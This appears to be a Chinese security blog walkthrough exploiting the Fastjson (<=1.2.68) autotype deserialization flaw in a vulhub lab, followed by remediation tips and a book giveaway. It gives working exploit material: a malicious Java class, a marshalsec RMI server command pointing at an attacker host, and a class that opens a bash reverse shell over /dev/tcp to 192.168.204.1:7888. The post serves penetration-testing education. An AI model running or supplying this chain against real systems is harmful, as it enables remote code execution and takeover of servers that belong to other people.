利用前提:fastjson <=1.2.68,打开了autotype
- 搭建环境
使用vul-hub 搭建漏洞环境
访问搭好的环境看到json数据就表示搭建成功
- 搭建攻击方web环境
假设攻击机为A 被攻击机为B
在A上搭好web服务和rmi服务,并且能够让B访问主机A
恶意类如下,在/tmp下创建success文件夹
代码语言:javascript复制import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch","/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译好class文件后搭建rmi服务
- 搭建攻击方RMI服务
搭建rmi服务需要用到marshalsec
代码语言:javascript复制java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer"http://192.168.204.1/fastjson/#TouchFile" 9999
注:恶意类的class文件前要加#,而且不需要加文件后缀
- 构造恶意请求
注意红色框重点 RMI服务后面跟A主机开放的域名(ip):端口/恶意类名称
发送恶意请求后,rmi监听的口会收到B主机的连接并读取恶意类,如果没有监听到就代表失败了
响应包如下
- 查看命令是否被执行
使用docker ps
和 docker exec -it (镜像id) /bin/bash 进入docker搭建好的虚拟机内
发现/tmp/success 创建成功 代表恶意类中的代码被成功执行
- 反弹shell
构建恶意类
代码如下:
代码语言:javascript复制import java.lang.Runtime;
import java.lang.Process;
public class ReConn{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i>& /dev/tcp/192.168.204.1/7888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用nc监听7888端口
开启RMI服务
恶意请求
结果
- 批量检测工具fastjson scan
- 修复建议
1、升级 Fastjson 到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype);
2、WAF拦截过滤请求包中的
@type、@type, u0040type,
x04type等多种编码的autotype 变形;
3、最少升级到1.2.48以上版本且关闭autotype 选项;升级对应JDK版本到8u191/7u201/6u211/11.0.1 以上。
1.《从实践中学习TCP/IP协议》
从理论、应用和实践三个维度讲TCP/IP;通过96个实例带你从实践中学习;结合Wireshark和netwox工具讲解;详解ARP、DHCP、DNS、SNMP、Telnet和WHOIS等协议。
2.《从实践中学习Metasploit 5渗透测试》
从理论、应用和实践三个维度讲解新版Metasploit 5渗透测试;通过153个操作实例手把手带你学习和实践;涵盖环境搭建、漏洞信息获取、项目准备、实施攻击、漏洞利用等。
3.《从实践中学习Windows渗透测试》
从理论、应用和实践三个维度讲解Windows渗透测试的相关知识
通过136个操作实例手把手带领读者从实践中学习Windows渗透测试
4.《web防火墙构建》
从理论、应用和实践三个维度介绍Web防火墙构建的相关知识
由浅入深地剖析OSI模型中不同层级的攻击原理和防御方法
涵盖环境搭建、攻击类型、攻击示例、攻击过程分析、防御方法……
5.《从实践中学习Kali Linux渗透测试》
从理论、应用和实践三个维度讲解Kali Linux渗透测试的相关知识
通过145个操作实例手把手带领读者从实践中学习Kali Linux渗透测试技术
涵盖环境搭建、信息收集、漏洞扫描与利用、嗅探欺骗、密码攻击、无线渗透……
基于Kali Linux滚动更新(Kali Rolling)版本写作
重点介绍渗透测试三大环节:信息收集、漏洞扫描、漏洞利用
活动详情
为了感谢一直关注我们Khan安全攻防实验室的粉丝们,我们将送出由机械工业出版社赞助的信息安全图书(任选其中一本)